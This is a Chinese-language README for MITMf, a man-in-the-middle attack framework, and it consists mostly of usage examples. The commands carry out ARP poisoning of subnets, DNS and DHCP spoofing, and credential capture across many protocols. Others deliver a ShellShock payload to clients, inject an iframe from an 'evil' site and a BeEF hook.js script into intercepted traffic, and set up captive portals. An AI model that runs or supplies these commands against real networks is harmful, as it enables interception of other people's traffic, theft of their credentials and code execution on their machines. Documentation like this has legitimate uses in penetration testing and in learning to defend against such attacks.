用于中间人攻击的框架
中间人攻击框架
此项目不再更新。MITMf 当初是为了满足当时对执行中间人攻击的现代工具的需求而编写的。自那以后,许多其他工具填补了这一空白,您可能应该使用 Bettercap,因为它功能更加完善且维护得更好。
快速教程、示例和开发者更新请访问:https://byt3bl33d3r.github.io
本工具基于 sergio-proxy,是对该项目的尝试性复活与更新。
联系我:
在提交问题之前,请先阅读维基中的相关章节。
请参阅维基中的安装说明
MITMf 旨在为中间人攻击和网络攻击提供一站式解决方案,同时更新和改进现有攻击技术。
最初是为了解决其他工具(如 Ettercap、Mallory)的显著缺陷而构建,现已几乎完全从头重写,提供一个模块化、易于扩展的框架,任何人都可用来实现自己的 MITM 攻击。
框架内置了 SMB、HTTP 和 DNS 服务器,可供各插件控制和调用,还包含一个修改版的 SSLStrip 代理,支持 HTTP 修改和部分 HSTS 绕过。
从 0.9.8 版本开始,MITMf 支持主动数据包过滤和操控(本质上相当于 etterfilter 但更强大),允许用户修改任何类型的流量或协议。
MITMf 运行时,配置文件可以实时编辑,更改会传递到整个框架:这允许你在攻击过程中调整插件和服务器的设置。
MITMf 会通过 Net-Creds 捕获 FTP、IRC、POP、IMAP、Telnet、SMTP、SNMP(团体字符串)、NTLMv1/v2(所有支持协议如 HTTP、SMB、LDAP 等)以及 Kerberos 凭据,该工具在启动时运行。
Responder 集成支持 LLMNR、NBT-NS 和 MDNS 投毒,以及 WPAD 恶意服务器。
现在你可以使用 Scapy 修改任何经 MITMf 拦截的数据包/协议!(不再需要 etterfilter!耶!)
例如,一个简单的小过滤器,仅修改 ICMP 数据包的目标 IP 地址:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet 变量以 Scapy 兼容格式访问数据包data 变量访问原始数据包数据使用该过滤器只需:python mitmf.py -F ~/filter.py
你可能想将其与 Spoof 插件结合使用,以实际拦截来自他人的流量 ;)
注意:你可以在不重启 MITMf 的情况下实时修改过滤器!
最基本的用法,在接口 enp3s0 上启动 HTTP 代理、SMB、DNS、HTTP 服务器和 Net-Creds:
python mitmf.py -i enp3s0
使用 Spoof 插件,对网关为 192.168.1.1 的整个子网进行 ARP 投毒:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
同上,但使用 Responder 插件添加 WPAD 恶意代理服务器:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
对 192.168.1.16-45 和 192.168.0.1/24 进行 ARP 投毒,网关为 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
在 ARP 投毒的同时启用 DNS 欺骗(要欺骗的域名从配置文件中读取):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
启用 LLMNR/NBTNS/MDNS 欺骗:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
启用 DHCP 欺骗(IP 池和子网从配置文件中读取):
python mitmf.py -i enp3s0 --spoof --dhcp
同上,但添加 ShellShock 有效载荷,若任何客户端存在漏洞则执行:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
使用 Inject 插件注入 HTML IFrame:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
注入 JS 脚本:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
启动一个将 HTTP 重定向到 http://SERVER/PATH 的强制门户:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
启动强制门户,默认页面为 /portal.html(感谢 responder)以及 /CaptiveClient.exe(未包含),均位于 config/captive 目录:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
同上,但使用主机名 captive.portal 而非 IP(要求 captive.portal 解析到你的 IP,例如通过 DNS 欺骗):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
提供一个强制门户,并额外启动一个 SimpleHTTPServer 实例提供 LOCALDIR 目录内容,地址为 http://IP:8080(在 mitmf.config 中更改端口):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
同上,但使用主机名:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
还有更多!
当然,你可以任意组合几乎所有插件(例如 ARP 欺骗 + 注入 + Responder 等)
要查看所有可用选项,只需运行 python mitmf.py --help
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr